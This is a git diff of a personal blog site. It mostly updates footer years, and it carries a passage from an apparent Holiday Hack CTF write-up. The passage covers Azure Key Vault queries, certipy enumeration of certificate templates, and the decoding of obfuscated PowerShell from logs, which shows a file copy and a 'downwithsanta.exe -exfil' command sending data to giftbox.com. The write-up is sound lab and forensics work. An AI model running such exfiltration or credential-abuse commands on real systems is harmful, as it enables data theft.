The go-date and go-time fields only accepted 4 digits. I supplied <code>1224</code> and <code>1600</code> from the decoded version of the second signal peak.</p><p>The I pressed the transmission button (Tx). Nothing happened.</p><p>At this point, I made a guess and changed the go-time to 1200, since 12/24 12:00 is super exciting.
@@ -753,7 +753,7 @@ and issuing an HTTP request to management.azure.com&rsquo;s API.</p><div class=h
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>We can query for the North Pole IT KV Key Vault Store,
and subsequently we get the following JSON.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl --header <span style=color:#e6db74>&#34;</span>$HEADER<span style=color:#e6db74>&#34;</span> <span style=color:#e6db74>&#34;https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv?api-version=2022-07-01&#34;</span> <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>| jq
</span></span></span><span style=display:flex><span>| jq
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;id&#34;</span>: <span style=color:#e6db74>&#34;/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;name&#34;</span>: <span style=color:#e6db74>&#34;northpole-it-kv&#34;</span>,
@@ -845,10 +845,10 @@ drw-rw-rw- 0 Sun Dec 17 01:15:12 2023 super_secret_research
2. Restrict access to C:\FileShare\super_secret_research to only researchers so everyone cant see the folder or read its contents
3. Profit
</code></pre><p>The <code>super_secret_research</code> directory is restricted only to researchers, we can even test this by trying to list the directory which yields an error.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>certipy find <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span> -vulnerable <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span> -username elfy@northpole.local <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span> -dc-ip 10.0.0.53 <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span> -password <span style=color:#e6db74>&#34;</span>$PW<span style=color:#e6db74>&#34;</span>
</span></span></span><span style=display:flex><span> -vulnerable <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span> -username elfy@northpole.local <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span> -dc-ip 10.0.0.53 <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span> -password <span style=color:#e6db74>&#34;</span>$PW<span style=color:#e6db74>&#34;</span>
</span></span></code></pre></div><pre tabindex=0><code>Certipy v4.8.2 - by Oliver Lyak (ly4k)
Password:
@@ -1080,15 +1080,15 @@ To narrow down base64 encoded commands further, we will query only those process
</code></pre><p>We make sure to sort timestamp as ascending.</p><p>Now let&rsquo;s decode each record. To do this, we copy the part of the command
after the <code>-enc</code> flag and run the following command:</p><pre tabindex=0><code>echo THEBASE64STRING | base64 -d
</code></pre><p>Keep in mind, we replace <code>THEBASE64STRING</code> with the thing we just copied.</p><p>Let&rsquo;s decode the first base64 string.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>echo SW52b2tlLVdtaU1ldGhvZCAtQ29tcHV0ZXJOYW1lICRTZXJ2ZXIgLUNsYXNzIENDTV9Tb2Z0d2FyZVVwZGF0ZXNNYW5hZ2VyIC1OYW1lIEluc3RhbGxVcGRhdGVzIC0gQXJndW1lbnRMaXN0ICgsICRQZW5kaW5nVXBkYXRlTGlzdCkgLU5hbWVzcGFjZSByb290WyZjY20mXWNsaWVudHNkayB8IE91dC1OdWxs <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>| base64 -d
</span></span></span><span style=display:flex><span>| base64 -d
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-powershell data-lang=powershell><span style=display:flex><span>Invoke-WmiMethod -ComputerName $Server -Class CCM_SoftwareUpdatesManager -Name InstallUpdates - ArgumentList (, $PendingUpdateList) -Namespace root[&amp;ccm&amp;]clientsdk | Out-Null
</span></span></code></pre></div><p>Nope, this looks like a legitimate command for installing Windows updates. Let&rsquo;s try the second one.</p><p>The base64 command in the second record when decoded as follows</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>echo KCAndHh0LnRzaUxlY2lOeXRoZ3VhTlxwb3Rrc2VEXDpDIHR4dC50c2lMZWNpTnl0aGd1YU5cbGFjaXRpckNub2lzc2lNXCRjXGVyYWhzZWxpZmVsb1BodHJvTlxcIG1ldEkteXBvQyBjLSBleGUubGxlaHNyZXdvcCcgLXNwbGl0ICcnIHwgJXskX1swXX0pIC1qb2luICcn <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>| base64 -d
</span></span></span><span style=display:flex><span>| base64 -d
</span></span></code></pre></div><p>yields the following powershell command:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-powershell data-lang=powershell><span style=display:flex><span>( <span style=color:#e6db74>&#39;txt.tsiLeciNythguaN\potkseD\:C txt.tsiLeciNythguaN\lacitirCnoissiM\$c\erahselifeloPhtroN\\ metI-ypoC c- exe.llehsrewop&#39;</span> -split <span style=color:#e6db74>&#39;&#39;</span> | %{$_[<span style=color:#ae81ff>0</span>]}) -join <span style=color:#e6db74>&#39;&#39;</span>
</span></span></code></pre></div><p>Now that is some obfuscated command we can expect an attacker to invoke. We note the timestamp for this second record and submit it.</p><p><img src alt></p><p><img src alt></p><p>Answer: <code>2023-12-24T16:07:47Z</code></p><ol start=2><li>What was the name of the file the attacker copied from the fileshare? (This might require some additional decoding)</li></ol><p>From the previous query output, we can try decoding the encoded commands one by one.</p><p>The <code>-split '' | %{$_[0]}</code> part of the command splits the preceding string into its constituent characters,
these are then rearranged in reverse and the trailing <code>-join ''</code> joins the reversed characters back into a string.</p><p>Undoing the reverse, we get the following command:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-powershell data-lang=powershell><span style=display:flex><span>powershell.exe -c Copy-Item \\NorthPolefileshare\c$\MissionCritical\NaughtyNiceList.txt C:\Desktop\NaughtyNiceList.txt
</span></span></code></pre></div><p>We see that the attacker copied the <code>NaughtyNiceList.txt</code> file from the fileshare to <code>C:\Desktop</code>.</p><p>Answer: <code>NaughtyNiceList.txt</code></p><ol start=3><li>The attacker has likely exfiltrated data from the file share. What domain name was the data exfiltrated to?</li></ol><p>We move on to decode the base64 encoded command in the third record.</p><p><img src alt></p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>echo W1N0UmlOZ106OkpvSW4oICcnLCBbQ2hhUltdXSgxMDAsIDExMSwgMTE5LCAxMTAsIDExOSwgMTA1LCAxMTYsIDEwNCwgMTE1LCA5NywgMTEwLCAxMTYsIDk3LCA0NiwgMTAxLCAxMjAsIDEwMSwgMzIsIDQ1LCAxMDEsIDEyMCwgMTAyLCAxMDUsIDEwOCwgMzIsIDY3LCA1OCwgOTIsIDkyLCA2OCwgMTAxLCAxMTUsIDEwNywgMTE2LCAxMTEsIDExMiwgOTIsIDkyLCA3OCwgOTcsIDExNywgMTAzLCAxMDQsIDExNiwgNzgsIDEwNSwgOTksIDEwMSwgNzYsIDEwNSwgMTE1LCAxMTYsIDQ2LCAxMDAsIDExMSwgOTksIDEyMCwgMzIsIDkyLCA5MiwgMTAzLCAxMDUsIDEwMiwgMTE2LCA5OCwgMTExLCAxMjAsIDQ2LCA5OSwgMTExLCAxMDksIDkyLCAxMDIsIDEwNSwgMTA4LCAxMDEpKXwmICgoZ3YgJypNRHIqJykuTmFtRVszLDExLDJdLWpvaU4<span style=color:#f92672>=</span> <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>| base64 -d
</span></span></span><span style=display:flex><span>| base64 -d
</span></span></code></pre></div><p>This gives us the following obfuscated command:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-powershell data-lang=powershell><span style=display:flex><span>[<span style=color:#66d9ef>StRiNg</span>]::JoIn( <span style=color:#e6db74>&#39;&#39;</span>, [<span style=color:#66d9ef>ChaR[]</span>](<span style=color:#ae81ff>100</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>119</span>, <span style=color:#ae81ff>110</span>, <span style=color:#ae81ff>119</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>104</span>, <span style=color:#ae81ff>115</span>, <span style=color:#ae81ff>97</span>, <span style=color:#ae81ff>110</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>97</span>, <span style=color:#ae81ff>46</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>32</span>, <span style=color:#ae81ff>45</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>102</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>108</span>, <span style=color:#ae81ff>32</span>, <span style=color:#ae81ff>67</span>, <span style=color:#ae81ff>58</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>68</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>115</span>, <span style=color:#ae81ff>107</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>112</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>78</span>, <span style=color:#ae81ff>97</span>, <span style=color:#ae81ff>117</span>, <span style=color:#ae81ff>103</span>, <span style=color:#ae81ff>104</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>78</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>99</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>76</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>115</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>46</span>, <span style=color:#ae81ff>100</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>99</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>32</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>103</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>102</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>98</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>46</span>, <span style=color:#ae81ff>99</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>109</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>102</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>108</span>, <span style=color:#ae81ff>101</span>))|&amp; ((gv <span style=color:#e6db74>&#39;*MDr*&#39;</span>).NamE[<span style=color:#ae81ff>3</span>,<span style=color:#ae81ff>11</span>,<span style=color:#ae81ff>2</span>]-joiN
</span></span></code></pre></div><p>This obfucation technique relies on representing each character in a string as their ASCII numeric representation, which are later reconstructed when running the command.</p><p>To perform the reconstruction manually we can run the following python code:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-py data-lang=py><span style=display:flex><span>encoded <span style=color:#f92672>=</span> (<span style=color:#ae81ff>100</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>119</span>, <span style=color:#ae81ff>110</span>, <span style=color:#ae81ff>119</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>104</span>, <span style=color:#ae81ff>115</span>, <span style=color:#ae81ff>97</span>, <span style=color:#ae81ff>110</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>97</span>, <span style=color:#ae81ff>46</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>32</span>, <span style=color:#ae81ff>45</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>102</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>108</span>, <span style=color:#ae81ff>32</span>, <span style=color:#ae81ff>67</span>, <span style=color:#ae81ff>58</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>68</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>115</span>, <span style=color:#ae81ff>107</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>112</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>78</span>, <span style=color:#ae81ff>97</span>, <span style=color:#ae81ff>117</span>, <span style=color:#ae81ff>103</span>, <span style=color:#ae81ff>104</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>78</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>99</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>76</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>115</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>46</span>, <span style=color:#ae81ff>100</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>99</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>32</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>103</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>102</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>98</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>46</span>, <span style=color:#ae81ff>99</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>109</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>102</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>108</span>, <span style=color:#ae81ff>101</span>)
</span></span><span style=display:flex><span>print(<span style=color:#e6db74>&#39;&#39;</span><span style=color:#f92672>.</span>join(map(chr, encoded)))
@@ -1105,4 +1105,4 @@ we mark them safe. If the values differ or the domain is entirely different, we
<a href=https://lavafroth.is-a.dev/tags/reverse-engineering class=list-tag>Reverse Engineering</a>
<a href=https://lavafroth.is-a.dev/tags/dmarc class=list-tag>DMARC</a>
<a href=https://lavafroth.is-a.dev/tags/web class=list-tag>Web</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/android-phone-for-webcam-nixos/><span></span><span>Using an Android Phone as a webcam in NixOS</span></a>
<a href=https://lavafroth.is-a.dev/post/abstracting-structured-patterns-in-concurrent-programming/><span>Abstracting Structured Patterns in Concurrent Programming</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/abstracting-structured-patterns-in-concurrent-programming/><span>Abstracting Structured Patterns in Concurrent Programming</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -21,4 +21,4 @@ as there are legitimate duplicates which, if deleted, can brick a system. I&rsqu
running jdupes in individual directories like <em>Music</em>, <em>Documents</em>, etc.</p></blockquote></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/powershell class=list-tag>Powershell</a>
<a href=https://lavafroth.is-a.dev/tags/windows class=list-tag>Windows</a>
<a href=https://lavafroth.is-a.dev/tags/workflow class=list-tag>Workflow</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/><span></span><span>JAuth</span></a>
<a href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/><span>Notepad</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/><span>Notepad</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -51,4 +51,4 @@ If you are wondering why this is not a complete binding, remember we still need
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
<a href=https://lavafroth.is-a.dev/tags/waycrate class=list-tag>Waycrate</a>
<a href=https://lavafroth.is-a.dev/tags/wayland class=list-tag>Wayland</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/i-solemnly-swear-to-never-buy-a-gaming-laptop-again/><span></span><span>I Solemnly Swear to Never Buy a Gaming Laptop Again</span></a>
<a href=https://lavafroth.is-a.dev/post/edge-cases-you-shall-not-pass/><span>Edge cases? You Shall Not Pass!</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/edge-cases-you-shall-not-pass/><span>Edge cases? You Shall Not Pass!</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -59,4 +59,4 @@ around their start and end.</p><p>Okay, that&rsquo;s about it for now, I&rsquo;l
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
<a href=https://lavafroth.is-a.dev/tags/waycrate class=list-tag>Waycrate</a>
<a href=https://lavafroth.is-a.dev/tags/wayland class=list-tag>Wayland</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/test-driven-development-the-pinnacle-of-engineering/><span></span><span>Test Driven Development - The Pinnacle of Engineering</span></a>
<a href=https://lavafroth.is-a.dev/post/i-solemnly-swear-to-never-buy-a-gaming-laptop-again/><span>I Solemnly Swear to Never Buy a Gaming Laptop Again</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/i-solemnly-swear-to-never-buy-a-gaming-laptop-again/><span>I Solemnly Swear to Never Buy a Gaming Laptop Again</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -27,4 +27,4 @@ collect2: error: ld returned 1 exit status
<a href=https://lavafroth.is-a.dev/tags/nixos class=list-tag>NixOS</a>
<a href=https://lavafroth.is-a.dev/tags/notes class=list-tag>Notes</a>
<a href=https://lavafroth.is-a.dev/tags/troubleshooting class=list-tag>Troubleshooting</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/algebraic-python-enums/><span></span><span>Algebraic Python Enums</span></a>
<a href=https://lavafroth.is-a.dev/post/changing-recents-provider-on-eos/><span>Guide: Changing Recents Provider on /e/OS</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/changing-recents-provider-on-eos/><span>Guide: Changing Recents Provider on /e/OS</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -12,8 +12,8 @@ and error.</p><pre tabindex=0><code>error: attribute &#39;overrideScope&#39;&#39
required for <a href=https://github.com/nix-community/lanzaboote/><code>lanzaboote</code></a>, the Rust utility for the secure boot shim<sup id=fnref:1><a href=#fn:1 class=footnote-ref role=doc-noteref>1</a></sup>. After looking through <a href=https://github.com/nix-community/lanzaboote/issues/411>this issue on github</a>
as well as the lanzaboote repository, it dawned on me that I had been using a version of lanzaboote released even before July this year.</p><p>This meant I had to update the version in my <code>flake.nix</code> inputs like so</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-diff data-lang=diff><span style=display:flex><span> lanzaboote = {
</span></span><span style=display:flex><span><span style=color:#f92672>- url = &#34;github:nix-community/lanzaboote/v0.3.0&#34;;
</span></span></span><span style=display:flex><span><span style=color:#f92672></span><span style=color:#a6e22e>+ url = &#34;github:nix-community/lanzaboote/v0.4.1&#34;;
</span></span></span><span style=display:flex><span><span style=color:#a6e22e></span> inputs.nixpkgs.follows = &#34;nixpkgs&#34;;
</span></span></span><span style=display:flex><span><span style=color:#a6e22e>+ url = &#34;github:nix-community/lanzaboote/v0.4.1&#34;;
</span></span></span><span style=display:flex><span> inputs.nixpkgs.follows = &#34;nixpkgs&#34;;
</span></span><span style=display:flex><span> };
</span></span></code></pre></div><p>With that, I ran another <code>nix flake update</code> and enqueued my system for a rebuild.
I deleted a few entries from <code>/boot/EFI/nixos</code> because the <a href=https://github.com/nix-community/lanzaboote/releases/tag/v0.4.1>new release</a> uses double the scratch space as needed by the previous version. Also, I had around 16 older generations of my setup for the sake of posteriety.</p><h1 id=where-is-the-pki-bundle>Where is the PKI Bundle?</h1><p>The rebuild led to yet another error, this time concerning a nonexistent path.</p><pre tabindex=0><code>Installing Lanzaboote to &#34;/boot&#34;...
@@ -36,4 +36,4 @@ causes you to land in a generation that is unavailable in the systemd-boot menu.
<a href=https://lavafroth.is-a.dev/tags/sbctl class=list-tag>sbctl</a>
<a href=https://lavafroth.is-a.dev/tags/lanzaboote class=list-tag>lanzaboote</a>
<a href=https://lavafroth.is-a.dev/tags/troubleshooting class=list-tag>Troubleshooting</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/a-tale-of-a-frugal-home-server/><span></span><span>A Tale of a Frugal Home Server</span></a>
<a href=https://lavafroth.is-a.dev/post/the-gsoc-grand-finale/><span>Wrapping up GSoC 2024</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/the-gsoc-grand-finale/><span>Wrapping up GSoC 2024</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -26,4 +26,4 @@ We will use the <code>$"string"</code> syntax to interpolate the short ID into t
<a href=https://lavafroth.is-a.dev/tags/south-park class=list-tag>South Park</a>
<a href=https://lavafroth.is-a.dev/tags/streaming class=list-tag>Streaming</a>
<a href=https://lavafroth.is-a.dev/tags/web-parsing class=list-tag>Web Parsing</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/r0-hash-me-please/><span></span><span>Hash Me Please</span></a>
<a href=https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail3/><span>Bash Jail 3</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail3/><span>Bash Jail 3</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -1,4 +1,10 @@
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Posts - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/post/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 